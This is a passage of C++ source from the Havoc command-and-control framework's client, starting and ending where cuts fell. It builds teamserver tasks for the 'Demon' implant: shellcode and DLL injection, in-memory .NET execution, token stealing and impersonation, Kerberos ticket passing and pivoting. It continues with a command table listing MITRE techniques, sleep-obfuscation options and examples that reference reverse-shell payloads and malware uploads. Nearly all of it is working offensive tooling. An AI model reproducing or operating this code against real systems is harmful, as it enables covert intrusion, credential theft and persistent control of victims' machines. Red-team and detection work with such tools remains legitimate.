this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() }, { "CommandID", to_string( static_cast( Commands::INLINE_EXECUTE ) ).c_str() }, { "HasCallback", "true"}, { "FunctionName", FunctionName.toStdString() }, { "Binary", Content.toBase64().toStdString() }, { "Arguments", Util::base64_encode( Args.toStdString().c_str(), Args.length() ) }, { "Flags", Flags.toStdString() }, }, }; NewPackageCommand( this->DemonCommandInstance->Teamserver, Body ); } auto CommandExecute::AssemblyInlineExecute( QString TaskID, QString Path, QString Args ) -> void { auto Content = FileRead( Path ); if ( Content.isEmpty() ) return; auto Body = Util::Packager::Body_t { .SubEvent = Util::Packager::Session::SendCommand, .Info = { { "TaskID", TaskID.toStdString() }, { "CommandLine", DemonCommandInstance->CommandInputList[ TaskID ].toStdString() }, { "DemonID", this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() }, { "CommandID", to_string( static_cast( Commands::INLINE_EXECUTE_ASSEMBLY ) ).c_str() }, { "Binary", Content.toBase64().toStdString() }, { "Arguments", Args.toStdString() }, }, }; NewPackageCommand( this->DemonCommandInstance->Teamserver, Body ); } auto CommandExecute::AssemblyListVersions( QString TaskID ) -> void { auto Body = Util::Packager::Body_t { .SubEvent = Util::Packager::Session::SendCommand, .Info = { { "TaskID", TaskID.toStdString() }, { "CommandLine", DemonCommandInstance->CommandInputList[ TaskID ].toStdString() }, { "DemonID", this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() }, { "CommandID", to_string( static_cast( Commands::ASSEMBLY_LIST_VERSIONS ) ).c_str() }, } }; NewPackageCommand( this->DemonCommandInstance->Teamserver, Body ); } auto CommandExecute::ShellcodeInject( QString TaskID, QString InjectionTechnique, QString TargetPID, QString TargetArch, QString Path, QString Arguments = "" ) const -> void { auto Content = FileRead( Path ); if ( Content.isEmpty() ) return; auto Body = Util::Packager::Body_t { .SubEvent = Util::Packager::Session::SendCommand, .Info = { { "TaskID", TaskID.toStdString() }, { "DemonID", this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() }, { "CommandID", to_string( static_cast( Commands::INJECT_SHELLCODE ) ).c_str() }, { "CommandLine", DemonCommandInstance->CommandInputList[ TaskID ].toStdString() }, { "Way", "Inject" }, { "Technique", InjectionTechnique.toStdString() }, { "Binary", Content.toBase64().toStdString() }, { "Arguments", Arguments.toUtf8().toBase64().toStdString() }, { "PID", TargetPID.toStdString() }, { "Arch", TargetArch.toStdString() }, }, }; NewPackageCommand( this->DemonCommandInstance->Teamserver, Body ); } auto CommandExecute::ShellcodeSpawn( QString TaskID, QString InjectionTechnique, QString TargetArch, QString Path, QString Arguments = "" ) -> void { auto Content = FileRead( Path ); if ( Content.isEmpty() ) return; auto Body = Util::Packager::Body_t { .SubEvent = Util::Packager::Session::SendCommand, .Info = { { "TaskID", TaskID.toStdString()}, { "DemonID", this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() }, { "CommandID", to_string(static_cast(Commands::INJECT_SHELLCODE)).c_str() }, { "CommandLine", DemonCommandInstance->CommandInputList[TaskID].toStdString() }, { "Way", "Spawn" }, { "Technique", InjectionTechnique.toStdString() }, { "Binary", Content.toBase64().toStdString() }, { "Arguments", Arguments.toUtf8().toBase64().toStdString() }, { "Arch", TargetArch.toStdString() }, }, }; NewPackageCommand( this->DemonCommandInstance->Teamserver, Body ); } auto CommandExecute::ShellcodeExecute( QString TaskID, QString InjectionTechnique, QString TargetArch, QString Path, QString Arguments ) -> void { auto Content = FileRead( Path ); if ( Content.isEmpty() ) return; auto Body = Util::Packager::Body_t { .SubEvent = Util::Packager::Session::SendCommand, .Info = { { "TaskID", TaskID.toStdString()}, { "DemonID", this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() }, { "CommandID", to_string(static_cast(Commands::INJECT_SHELLCODE)).c_str() }, { "CommandLine", DemonCommandInstance->CommandInputList[TaskID].toStdString() }, { "Way", "Execute" }, { "Technique", InjectionTechnique.toStdString() }, { "Binary", Content.toBase64().toStdString() }, { "Arguments", Arguments.toUtf8().toBase64().toStdString() }, { "Arch", TargetArch.toStdString() }, }, }; NewPackageCommand( this->DemonCommandInstance->Teamserver, Body ); } auto CommandExecute::DllSpawn( QString TaskID, QString Path, QByteArray Args ) -> void { auto Content = FileRead( Path ); if ( Content.isEmpty() ) return; auto Body = Util::Packager::Body_t { .SubEvent = Util::Packager::Session::SendCommand, .Info = { {"TaskID", TaskID.toStdString()}, {"DemonID", this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString()}, {"CommandID", to_string(static_cast( Commands::INJECT_DLL_SPAWN ) ).c_str()}, {"CommandLine", DemonCommandInstance->CommandInputList[TaskID].toStdString()}, {"Binary", Content.toBase64().toStdString() }, {"Arguments", Util::base64_encode( Args.toStdString().c_str(), Args.length() ) }, }, }; NewPackageCommand( this->DemonCommandInstance->Teamserver, Body ); } auto CommandExecute::Token( QString TaskID, QString SubCommand, QString Arguments ) -> void { auto Body = Util::Packager::Body_t { .SubEvent = Util::Packager::Session::SendCommand, .Info = { { "TaskID", TaskID.toStdString() }, { "CommandLine", DemonCommandInstance->CommandInputList[TaskID].toStdString() }, { "DemonID", DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() }, { "CommandID", to_string( static_cast( Commands::TOKEN ) ).c_str() }, { "SubCommand", SubCommand.toStdString() }, { "Arguments", Arguments.toStdString() }, } }; NewPackageCommand( this->DemonCommandInstance->Teamserver, Body ); } auto CommandExecute::ProcModule( QString TaskID, int SubCommand, QString Args ) -> void { auto Body = Util::Packager::Body_t { .SubEvent = Util::Packager::Session::SendCommand, .Info = { { "TaskID", TaskID.toStdString() }, { "CommandLine", DemonCommandInstance->CommandInputList[ TaskID ].toStdString() }, { "DemonID", this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() }, { "CommandID", to_string( static_cast( Commands::PROC ) ).c_str() }, { "ProcCommand", to_string( SubCommand ).c_str() }, { "Args", Args.toStdString() }, } }; NewPackageCommand( this->DemonCommandInstance->Teamserver, Body ); } auto CommandExecute::Exit( QString TaskID, QString Methode ) -> void { auto Body = Util::Packager::Body_t { .SubEvent = Util::Packager::Session::SendCommand, .Info = { { "TaskID", TaskID.toStdString() }, { "CommandLine", DemonCommandInstance->CommandInputList[ TaskID ].toStdString() }, { "DemonID", this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() }, { "CommandID", to_string( static_cast( Commands::EXIT ) ).c_str() }, { "ExitMethod", Methode.toStdString() }, } }; NewPackageCommand( this->DemonCommandInstance->Teamserver, Body ); } auto CommandExecute::DllInject( QString TaskID, QString TargetPID, QString Path, QString Params ) -> void { auto Content = FileRead( Path ); if ( Content.isEmpty() ) return; auto Body = Util::Packager::Body_t { .SubEvent = Util::Packager::Session::SendCommand, .Info = { {"TaskID", TaskID.toStdString() }, {"DemonID", this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() }, {"CommandID", to_string( static_cast( Commands::INJECT_DLL ) ).c_str() }, {"CommandLine", DemonCommandInstance->CommandInputList[ TaskID ].toStdString() }, {"Binary", Content.toBase64().toStdString() }, {"Arguments", Params.toStdString()}, {"PID", TargetPID.toStdString()}, }, }; NewPackageCommand( this->DemonCommandInstance->Teamserver, Body ); } auto CommandExecute::Config( const QString& TaskID, const QString& Key, const QString& Value ) -> void { auto Body = Util::Packager::Body_t { .SubEvent = Util::Packager::Session::SendCommand, .Info = { { "TaskID", TaskID.toStdString() }, { "DemonID", this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() }, { "CommandID", to_string( (int)Commands::CONFIG ).c_str() }, { "CommandLine", DemonCommandInstance->CommandInputList[ TaskID ].toStdString() }, { "ConfigKey", Key.toStdString() }, { "ConfigVal", Value.toStdString() }, }, }; NewPackageCommand( this->DemonCommandInstance->Teamserver, Body ); } auto CommandExecute::Screenshot( const QString &TaskID ) -> void { auto Body = Util::Packager::Body_t { .SubEvent = Util::Packager::Session::SendCommand, .Info = { { "TaskID", TaskID.toStdString() }, { "DemonID", this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() }, { "CommandID", to_string( ( int ) Commands::SCREENSHOT ).c_str() }, { "CommandLine", DemonCommandInstance->CommandInputList[ TaskID ].toStdString() }, }, }; NewPackageCommand( this->DemonCommandInstance->Teamserver, Body ); } auto CommandExecute::Net( QString TaskID, QString Command, QString Param ) -> void { auto Body = Util::Packager::Body_t { .SubEvent = Util::Packager::Session::SendCommand, .Info = { { "TaskID", TaskID.toStdString() }, { "DemonID", this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() }, { "CommandID", to_string( ( int ) Commands::NET ).c_str() }, { "CommandLine", DemonCommandInstance->CommandInputList[ TaskID ].toStdString() }, { "NetCommand", Command.toStdString() }, { "Param", Param.toStdString() }, }, }; NewPackageCommand( this->DemonCommandInstance->Teamserver, Body ); } auto CommandExecute::Pivot( QString TaskID, QString Command, QString Param ) -> void { auto Body = Util::Packager::Body_t { .SubEvent = Util::Packager::Session::SendCommand, .Info = { { "TaskID", TaskID.toStdString() }, { "DemonID", this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() }, { "CommandID", to_string( ( int ) Commands::PIVOT ).c_str() }, { "CommandLine", DemonCommandInstance->CommandInputList[ TaskID ].toStdString() }, { "Command", Command.toStdString() }, { "Param", Param.toStdString() }, }, }; NewPackageCommand( this->DemonCommandInstance->Teamserver, Body ); } auto CommandExecute::AgentCommand( QMap CommandData ) -> void { auto Body = Util::Packager::Body_t { .SubEvent = Util::Packager::Session::SendCommand, .Info = CommandData, }; NewPackageCommand( this->DemonCommandInstance->Teamserver, Body ); } auto CommandExecute::Job( QString TaskID, QString SubCommand, QString Argument ) -> void { auto Body = Util::Packager::Body_t { .SubEvent = Util::Packager::Session::SendCommand, .Info = { { "TaskID", TaskID.toStdString() }, { "DemonID", this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() }, { "CommandID", to_string( ( int ) Commands::JOB ).c_str() }, { "CommandLine", DemonCommandInstance->CommandInputList[ TaskID ].toStdString() }, { "Command", SubCommand.toStdString() }, { "Param", Argument.toStdString() }, }, }; NewPackageCommand( this->DemonCommandInstance->Teamserver, Body ); } auto CommandExecute::Task( const QString& TaskID, const QString& Command ) -> void { auto Body = Util::Packager::Body_t { .SubEvent = Util::Packager::Session::SendCommand, .Info = { { "TaskID", TaskID.toStdString() }, { "DemonID", this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() }, { "CommandID", "Teamserver" }, { "CommandLine", DemonCommandInstance->CommandInputList[ TaskID ].toStdString() }, { "Command", Command.toStdString() }, }, }; NewPackageCommand( this->DemonCommandInstance->Teamserver, Body ); } auto CommandExecute::Transfer( const QString &TaskID, QString SubCommand, QString Arguments ) -> void { auto Body = Util::Packager::Body_t { .SubEvent = Util::Packager::Session::SendCommand, .Info = { { "TaskID", TaskID.toStdString() }, { "DemonID", this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() }, { "CommandID", to_string( ( int ) Commands::TRANSFER ).c_str() }, { "CommandLine", DemonCommandInstance->CommandInputList[ TaskID ].toStdString() }, { "Command", SubCommand.toStdString() }, { "FileID", Arguments.toStdString() }, }, }; NewPackageCommand( DemonCommandInstance->Teamserver, Body ); } auto CommandExecute::Socket( const QString &TaskID, QString SubCommand, QString Arguments ) -> void { auto Body = Util::Packager::Body_t { .SubEvent = Util::Packager::Session::SendCommand, .Info = { { "TaskID", TaskID.toStdString() }, { "DemonID", this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() }, { "CommandID", to_string( ( int ) Commands::SOCKET ).c_str() }, { "CommandLine", DemonCommandInstance->CommandInputList[ TaskID ].toStdString() }, { "Command", SubCommand.toStdString() }, { "Params", Arguments.toStdString() }, }, }; NewPackageCommand( DemonCommandInstance->Teamserver, Body ); } auto CommandExecute::Luid( const QString& TaskID ) -> void { auto Body = Util::Packager::Body_t { .SubEvent = Util::Packager::Session::SendCommand, .Info = { { "TaskID", TaskID.toStdString() }, { "DemonID", this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() }, { "CommandID", to_string( ( int ) Commands::KERBEROS ).c_str() }, { "CommandLine", DemonCommandInstance->CommandInputList[ TaskID ].toStdString() }, { "Command", "luid" }, }, }; NewPackageCommand( DemonCommandInstance->Teamserver, Body ); } auto CommandExecute::Klist( const QString &TaskID, QString Argument1, QString Argument2 ) -> void { auto Body = Util::Packager::Body_t { .SubEvent = Util::Packager::Session::SendCommand, .Info = { { "TaskID", TaskID.toStdString() }, { "DemonID", this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() }, { "CommandID", to_string( ( int ) Commands::KERBEROS ).c_str() }, { "CommandLine", DemonCommandInstance->CommandInputList[ TaskID ].toStdString() }, { "Command", "klist" }, { "Argument1", Argument1.toStdString() }, { "Argument2", Argument2.toStdString() }, }, }; NewPackageCommand( DemonCommandInstance->Teamserver, Body ); } auto CommandExecute::Purge( const QString &TaskID, QString Argument ) -> void { auto Body = Util::Packager::Body_t { .SubEvent = Util::Packager::Session::SendCommand, .Info = { { "TaskID", TaskID.toStdString() }, { "DemonID", this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() }, { "CommandID", to_string( ( int ) Commands::KERBEROS ).c_str() }, { "CommandLine", DemonCommandInstance->CommandInputList[ TaskID ].toStdString() }, { "Command", "purge" }, { "Argument", Argument.toStdString() }, }, }; NewPackageCommand( DemonCommandInstance->Teamserver, Body ); } auto CommandExecute::Ptt( const QString &TaskID, QString Ticket, QString Luid ) -> void { auto Body = Util::Packager::Body_t { .SubEvent = Util::Packager::Session::SendCommand, .Info = { { "TaskID", TaskID.toStdString() }, { "DemonID", this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() }, { "CommandID", to_string( ( int ) Commands::KERBEROS ).c_str() }, { "CommandLine", DemonCommandInstance->CommandInputList[ TaskID ].toStdString() }, { "Command", "ptt" }, { "Ticket", Ticket.toStdString() }, { "Luid", Luid.toStdString() }, }, }; NewPackageCommand( DemonCommandInstance->Teamserver, Body ); } havoc-0.6~git20240910.69ce17c/client/src/Havoc/Demon/Commands.cc000066400000000000000000001003421467014221700235060ustar00rootroot00000000000000#include #define BEHAVIOR_PROCESS_INJECTION "Process Injection" #define BEHAVIOR_PROCESS_CREATION "Process Creation" #define BEHAVIOR_FORK_AND_RUN "Fork & Run" #define BEHAVIOR_API_ONLY "API Only" #define BEHAVIOR_TEAMSERVER "Teamserver side" #define NO_SUBCOMMANDS .Module = false, using namespace HavocNamespace::HavocSpace; std::vector DemonCommands::DemonCommandList = { { .CommandString = "help", .Description = "Shows help message of specified command", .Usage = "[command]", .Example = "inline-execute", NO_SUBCOMMANDS }, { .CommandString = "sleep", .Description = "sets the delay to sleep", .MitreTechniques= { "T1029" ,"TA0005"}, .Usage = "[delay] (jitter)", .Example = "10", NO_SUBCOMMANDS }, { .CommandString = "checkin", .Description = "request a checkin request", NO_SUBCOMMANDS }, { .CommandString = "job", .Description = "job manager", .Module = true, .SubCommands = { { .CommandString = "list", .Description = "list of jobs", .Behavior = BEHAVIOR_API_ONLY, }, { .CommandString = "suspend", .Description = "suspend specified job id", .Behavior = BEHAVIOR_API_ONLY, .Usage = "[id]", .Example = "1337", }, { .CommandString = "resume", .Description = "resume specified job id", .Behavior = BEHAVIOR_API_ONLY, .Usage = "[id]", .Example = "1337", }, { .CommandString = "kill", .Description = "kill specified job id", .Behavior = BEHAVIOR_API_ONLY, .Usage = "[id]", .Example = "1337", }, } }, { .CommandString = "task", .Description = "task manager", .Module = true, .SubCommands = { { .CommandString = "list", .Description = "list of commands in task queue", .Behavior = BEHAVIOR_TEAMSERVER, }, { .CommandString = "clear", .Description = "clear all commands in task queue", .Behavior = BEHAVIOR_TEAMSERVER, }, } }, { .CommandString = "proc", .Description = "process enumeration and management", .Usage = "[command]", .Example = "list", .Module = true, .SubCommands = { { .CommandString = "list", .Description = "displays a list of running processes on the target", .Behavior = BEHAVIOR_API_ONLY, .MitreTechniques= { "TA0007", "T1057" }, }, { .CommandString = "kill", .Description = "kills the process from specified PID", .Behavior = BEHAVIOR_API_ONLY, .MitreTechniques= { "T1057", "TA0040" }, .Usage = "[pid]", .Example = "1337", }, { .CommandString = "create", .Description = "create a process", .Behavior = BEHAVIOR_API_ONLY, .MitreTechniques = { "T1106", "T1055" }, .Usage = "[normal/suspended] (--silent) (--no-pipe) process (args)", .Example = R"(suspended --no-pipe C:\Windows\System32\notepad.exe)", }, { .CommandString = "modules", .Description = "lists loaded modules/dlls from a remote process", .Behavior = BEHAVIOR_API_ONLY, .MitreTechniques = { "TA0007" }, .Usage = "[pid]", .Example = "1337", }, { .CommandString = "grep", .Description = "grep information from the specified remote process", .Behavior = BEHAVIOR_API_ONLY, .MitreTechniques = { "T1020", "T1057" }, .Usage = "[process]", .Example = "explorer.exe", }, { .CommandString = "memory", .Description = "query for memory regions", .Behavior = BEHAVIOR_API_ONLY, .MitreTechniques= { "T1055"}, .Usage = "[pid] [PAGE_READ | PAGE_READWRITE | PAGE_EXECUTE | PAGE_EXECUTE_READ | PAGE_EXECUTE_READWRITE]", .Example = "1337 PAGE_EXECUTE_READWRITE", }, }, }, { .CommandString = "transfer", .Description = "download transfer module", .Behavior = BEHAVIOR_API_ONLY, .Usage = "", .Example = "list", .SubCommands = { { .CommandString = "list", .Description = "list current downloads", .Behavior = BEHAVIOR_API_ONLY, .Usage = "", .Example = "", }, { .CommandString = "stop", .Description = "stops a download", .Behavior = BEHAVIOR_API_ONLY, .Usage = "", .Example = "ffff", }, { .CommandString = "resume", .Description = "resumes a download", .Behavior = BEHAVIOR_API_ONLY, .Usage = "", .Example = "ffff", }, { .CommandString = "remove", .Description = "stops and removes a download", .Behavior = BEHAVIOR_API_ONLY, .Usage = "", .Example = "ffff", }, } }, { .CommandString = "dir", .Description = "list specified directory", .Behavior = BEHAVIOR_API_ONLY, .MitreTechniques = { "T1083", "T1083" }, .Usage = "[/path/to/dir] [/s] [/b] [/d] [/f] [/starts foo] [/contains foo] [/ends foo]", .Example = "c:\\users /s /b /f /ends .ps1", NO_SUBCOMMANDS }, { .CommandString = "download", .Description = "downloads a specified file", .Behavior = BEHAVIOR_API_ONLY, .Usage = "[/path/to/file.txt]", .Example = "c:\\secrets.txt", NO_SUBCOMMANDS }, { .CommandString = "upload", .Description = "uploads a specified file", .Behavior = BEHAVIOR_API_ONLY, .Usage = "[/local/file/to/upload.exe] [/remote/path/to/upload.exe]", .Example = "/tmp/reverse_shell.exe c:\\malware.exe", NO_SUBCOMMANDS }, { .CommandString = "cd", .Description = "change to specified directory", .Behavior = BEHAVIOR_API_ONLY, .Usage = "[/path/to/dir]", .Example = "C:\\", NO_SUBCOMMANDS }, { .CommandString = "cp", .Description = "copy file from one location to another", .Behavior = BEHAVIOR_API_ONLY, .Usage = "[/path/from/file.txt] [path/to/file.txt]", .Example = R"(C:\secrets.txt C:\Windows\Temp\secrets.txt)", NO_SUBCOMMANDS }, { .CommandString = "mv", .Description = "move file from one location to another", .Behavior = BEHAVIOR_API_ONLY, .Usage = "[/path/from/file.txt] [path/to/file.txt]", .Example = R"(C:\secrets.txt C:\Windows\Temp\secrets.txt)", NO_SUBCOMMANDS }, { .CommandString = "remove", .Description = "remove file or directory", .Behavior = BEHAVIOR_API_ONLY, .Usage = "[path]", .Example = "C:\\text.txt", NO_SUBCOMMANDS }, { .CommandString = "mkdir", .Description = "create new directory", .Behavior = BEHAVIOR_API_ONLY, .Usage = "[/path/to/dir]", .Example = "C:\\NewDir", NO_SUBCOMMANDS }, { .CommandString = "pwd", .Description = "get current directory", .Behavior = BEHAVIOR_API_ONLY, .Usage = "", .Example = "", NO_SUBCOMMANDS }, { .CommandString = "cat", .Description = "display content of the specified file", .Behavior = BEHAVIOR_API_ONLY, .Usage = "[/path/to/file.txt]", .Example = "c:\\secrets.txt", NO_SUBCOMMANDS }, { .CommandString = "screenshot", .Description = "takes a screenshot", .Behavior = BEHAVIOR_API_ONLY, NO_SUBCOMMANDS }, { .CommandString = "shell", .Description = "executes cmd.exe commands and gets the output", .Behavior = BEHAVIOR_PROCESS_CREATION, .Usage = "[commands]", .Example = R"(dir c:\windows\system32)", NO_SUBCOMMANDS }, { .CommandString = "powershell", .Description = "executes powershell.exe commands and gets the output", .Usage = "[commands]", .Example = R"(dir c:\windows\system32)", NO_SUBCOMMANDS }, { .CommandString = "inline-execute", .Description = "executes an object file", .Behavior = BEHAVIOR_API_ONLY, .Usage = "[/path/to/objectfile.o] (arguments)", .Example = R"(/tmp/objectfile.x64.o hello)", NO_SUBCOMMANDS }, { .CommandString = "shellcode", .Description = "shellcode injection techniques", .Usage = "[subcommand]", .Example = R"(inject-sys x64 1337 /tmp/rev_shell.x64.bin)", .Module = true, .SubCommands = { { .CommandString = "inject", .Description = "inject shellcode into a remote process", .Behavior = BEHAVIOR_PROCESS_INJECTION, .MitreTechniques= {"T1055"}, .Usage = "[arch] [target pid] [/path/to/shellcode.x64.bin]", .Example = R"(x64 1337 /tmp/rev_shell.x64.bin)", }, // Spawn & Inject Commands { .CommandString = "spawn", .Description = "spawns a temporary process and injects into it", .Behavior = BEHAVIOR_FORK_AND_RUN, .MitreTechniques= {"T1055", "T1055.002"}, .Usage = "[arch] [/path/to/shellcode.x64.bin]", .Example = R"(x64 /tmp/rev_shell.x64.bin)", }, // Spawn & Inject Commands { .CommandString = "execute", .Description = "executes shellcode in the current process (self inject)", .Behavior = BEHAVIOR_PROCESS_INJECTION, .MitreTechniques= {"T1055", "T1055.002"}, .Usage = "[arch] [/path/to/shellcode.x64.bin]", .Example = R"([arch] /tmp/rev_shell.x64.bin)", }, }, }, { .CommandString = "dll", .Description = "dll spawn and injection modules", .Usage = "[subcommand]", .Example = R"(inject 1337 /tmp/module.dll argument)", .Module = true, .SubCommands = { { .CommandString = "inject", .Description = "inject dll into a remote process", .Behavior = BEHAVIOR_PROCESS_INJECTION, .MitreTechniques= {"T1055" ,"T1055.001"}, .Usage = "[target pid] [/path/to/module.dll] (arguments)", .Example = R"(1337 /tmp/module.dll argument)", }, { .CommandString = "spawn", .Description = "spawns a temporary process and injects a dll into it", .Behavior = BEHAVIOR_FORK_AND_RUN, .MitreTechniques= {"T1055" ,"T1055.001"}, .Usage = "[/path/to/reflective_dll.x64.dll] (arguments)", .Example = R"(/tmp/module.dll arguments)", }, }, }, { .CommandString = "exit", .Description = "cleanup and exit", .Behavior = BEHAVIOR_API_ONLY, .MitreTechniques= { }, .Usage = "[thread/process]", .Example = R"(thread)", NO_SUBCOMMANDS }, { .CommandString = "token", .Description = "token manipulation and impersonation", .Usage = "[subcommand]", .Example = R"(steal 1337)", .Module = true, .SubCommands = { { .CommandString = "getuid", .Description = "get current uid from token", .Behavior = BEHAVIOR_API_ONLY, .MitreTechniques = {"T1134"}, }, { .CommandString = "list", .Description = "list stolen tokens from token vault", .Behavior = BEHAVIOR_API_ONLY, .MitreTechniques = {"T1134"}, }, { .CommandString = "find", .Description = "find all tokens that can be stolen on the system", .Behavior = BEHAVIOR_API_ONLY, .MitreTechniques = {"T1134"}, }, { .CommandString = "steal", .Description = "steal token from specified process and save it to token vault", .Behavior = BEHAVIOR_API_ONLY, .MitreTechniques = {"T1134.001"}, .Usage = "[process id] (handle)", .Example = "1337", }, { .CommandString = "impersonate", .Description = "impersonate stolen token from specified vault id", .Behavior = BEHAVIOR_API_ONLY, .MitreTechniques = {"T1134", "T1134.001" ,"TA0004"}, .Usage = "[vault id]", .Example = "0", }, { .CommandString = "make", .Description = "make token from user credentials", .Behavior = BEHAVIOR_API_ONLY, .MitreTechniques = {"T1134", "T1134.003"}, .Usage = "[Domain] [Username] [Password] (LogonType)\nValid types are:\nLOGON_INTERACTIVE\nLOGON_NETWORK\nLOGON_BATCH\nLOGON_SERVICE\nLOGON_UNLOCK\nLOGON_NETWORK_CLEARTEXT\nLOGON_NEW_CREDENTIALS (default)", .Example = "domain.local Administrator Passw0rd@1234", }, { .CommandString = "privs-list", .Description = "list all privileges from current token", .Behavior = BEHAVIOR_API_ONLY, .MitreTechniques = { "T1134" ,"TA0007"}, }, { .CommandString = "privs-get", .Description = "enable a privilege", .Behavior = BEHAVIOR_API_ONLY, .MitreTechniques = { "T1134", "T1134", "TA0004" }, }, { .CommandString = "revert", .Description = "revert to default process token", .Behavior = BEHAVIOR_API_ONLY, .MitreTechniques = {"T1134"}, }, { .CommandString = "remove", .Description = "remove specified stolen token from token vault", .Behavior = BEHAVIOR_API_ONLY, .Usage = "[vault id]", .Example = "1", }, { .CommandString = "clear", .Description = "removes every stolen token from the token vault", .Behavior = BEHAVIOR_API_ONLY, }, }, }, { .CommandString = "dotnet", .Description = "execute and manage dotnet assemblies", .Behavior = BEHAVIOR_API_ONLY, .Usage = "[sub command]", .Example = R"(inline-execute /tmp/seatbelt.exe)", .Module = true, .SubCommands = { { .CommandString = "list-versions", .Description = "lists installed/available dotnet versions", .Behavior = BEHAVIOR_API_ONLY, }, { .CommandString = "inline-execute", .Description = "executes assembly in the current process and gets output", .Behavior = BEHAVIOR_API_ONLY, .MitreTechniques = {"T1055", "T1620"}, .Usage = "[/path/to/assembly.exe] (args)", .Example = "/tmp/Seatbelt.exe -group=all -full", }, }, }, { .CommandString = "net", .Description = "network and host enumeration module", .Behavior = BEHAVIOR_API_ONLY, .Usage = "[sub command] (args)", .Example = R"(domain)", .Module = true, .SubCommands = { { .CommandString = "domain", .Description = "display domain for the current host", .Behavior = BEHAVIOR_API_ONLY, }, { .CommandString = "logons", .Description = "lists users logged onto a host", .Behavior = BEHAVIOR_API_ONLY, .Usage = R"([\\TARGET])", .Example = R"(\\localhost)", }, { .CommandString = "sessions", .Description = "lists sessions on a host", .Behavior = BEHAVIOR_API_ONLY, .Usage = R"([\\TARGET])", .Example = R"(\\localhost)", }, /*{ .CommandString = "computers", .Description = "lists hosts in a domain (groups)", .Behavior = BEHAVIOR_API_ONLY, .Usage = R"([\\TARGET])", .Example = R"(\\localhost)", }, { .CommandString = "dclist", .Description = "lists domain controllers", .Behavior = BEHAVIOR_API_ONLY, .Usage = R"([\\TARGET])", .Example = R"(\\localhost)", },*/ { .CommandString = "share", .Description = "lists shares on a host", .Behavior = BEHAVIOR_API_ONLY, .Usage = R"([\\TARGET])", .Example = R"(\\localhost)", }, { .CommandString = "localgroup", .Description = "lists local groups and users in local groups", .Behavior = BEHAVIOR_API_ONLY, .Usage = R"([\\TARGET])", .Example = R"(\\localhost)", }, { .CommandString = "group", .Description = "lists groups and users in groups", .Behavior = BEHAVIOR_API_ONLY, .Usage = R"([\\TARGET])", .Example = R"(\\localhost)", }, { .CommandString = "users", .Description = "lists users and user information", .Behavior = BEHAVIOR_API_ONLY, .Usage = R"([\\TARGET])", .Example = R"(\\localhost)", }, }, }, { .CommandString = "config", .Description = "configure the behaviour of the demon session", .Usage = "[config.flag]", .Example = R"(inject.spawn64 C:\Windows\System32\rundll32.exe)", .Module = true, .SubCommands = { { .CommandString = "implant.verbose", .Description = "enable/disable implant verbose logging (process creation, memory allocation, thread execution etc.)", .Usage = R"([true/false])", .Example = "true", }, { .CommandString = "implant.sleep-obf.start-addr", .Description = "set custom thread start addr at sleep obfuscation", .Usage = R"([ lib!function+offset])", .Example = "ntdll!LdrLoadLibrary+0x46", }, { .CommandString = "implant.sleep-obf.technique", .Description = "set custom thread start addr at sleep obfuscation", .Usage = R"([0/1/2])", .Example = "1", .Options = { "0 => WaitForSingleObjectEx (No Obfuscation. simple sleep)", "1 => Foliage (by @ilove2pwn_)", "2 => Ekko (by @C5pider, @peterwintrsmith and @modexpblog)", }, }, { .CommandString = "implant.coffee.veh", .Description = "enable/disable VEH for object file loading", .Usage = R"([true/false])", .Example = "true", }, { .CommandString = "implant.coffee.threaded", .Description = "enable/disable threading while executing object files", .Usage = R"([true/false])", .Example = "true", }, { .CommandString = "memory.alloc", .Description = "memory allocation behaviour", .Usage = R"([1/2/3])", .Example = "1", .Options = { "1 => Win32 API (VirtualAllocEX)", "2 => Native API (NtAllocateVirtualMemory)", }, }, { .CommandString = "memory.execute", .Description = "memory executing behaviour (remote/local thread)", .Usage = R"([ 1 / 2 / 3 / 4 ])", .Example = "1", .Options = { "1 => Win32 API (CreateRemoteThread)", "2 => Native API (NtCreateThreadEx)", }, }, { .CommandString = "inject.spoofaddr", .Description = "inject code with spoofed thread start addr", .Usage = R"([ lib!function+offset ])", .Example = "ntdll!LdrLoadLibrary+0x46", }, { .CommandString = "inject.spawn64", .Description = "default x64 process to spawn for fork & run operations", .Usage = R"([C:\path\to\executable.exe])", .Example = R"(C:\Windows\System32\rundll32.exe)", }, { .CommandString = "inject.spawn32", .Description = "default x86 process to spawn for fork & run operations", .Usage = R"([C:\path\to\executable.exe])", .Example = R"(C:\Windows\SysWow64\rundll32.exe)", }, { .CommandString = "killdate", .Description = "change the default KillDate, set to 0 to disable. The time is interpreted in GMT 0", .Usage = R"([YEAR-MONTH-DAY HOUR-MINUTE-SECOND])", .Example = R"(2006-01-02 15:04:05)", }, { .CommandString = "workinghours", .Description = "change the working hours, set to 0 to disable.", .Usage = R"([H:mm-H-mm])", .Example = R"(8:30-19:00)", }, }, }, { .CommandString = "pivot", .Description = "pivoting module", .Behavior = BEHAVIOR_API_ONLY, .Usage = "[sub command]", .Example = R"(connect SPIDERS-PC agent_6d6e)", .Module = true, .SubCommands = { { .CommandString = "list", .Description = "list connected agent pivots", .Behavior = BEHAVIOR_API_ONLY, }, { .CommandString = "connect", .Description = "connect to a pivoting agent", .Behavior = BEHAVIOR_API_ONLY, .Usage = "[Host] [Address]", .Example = R"(HOST-DC agent_6d6e)", }, { 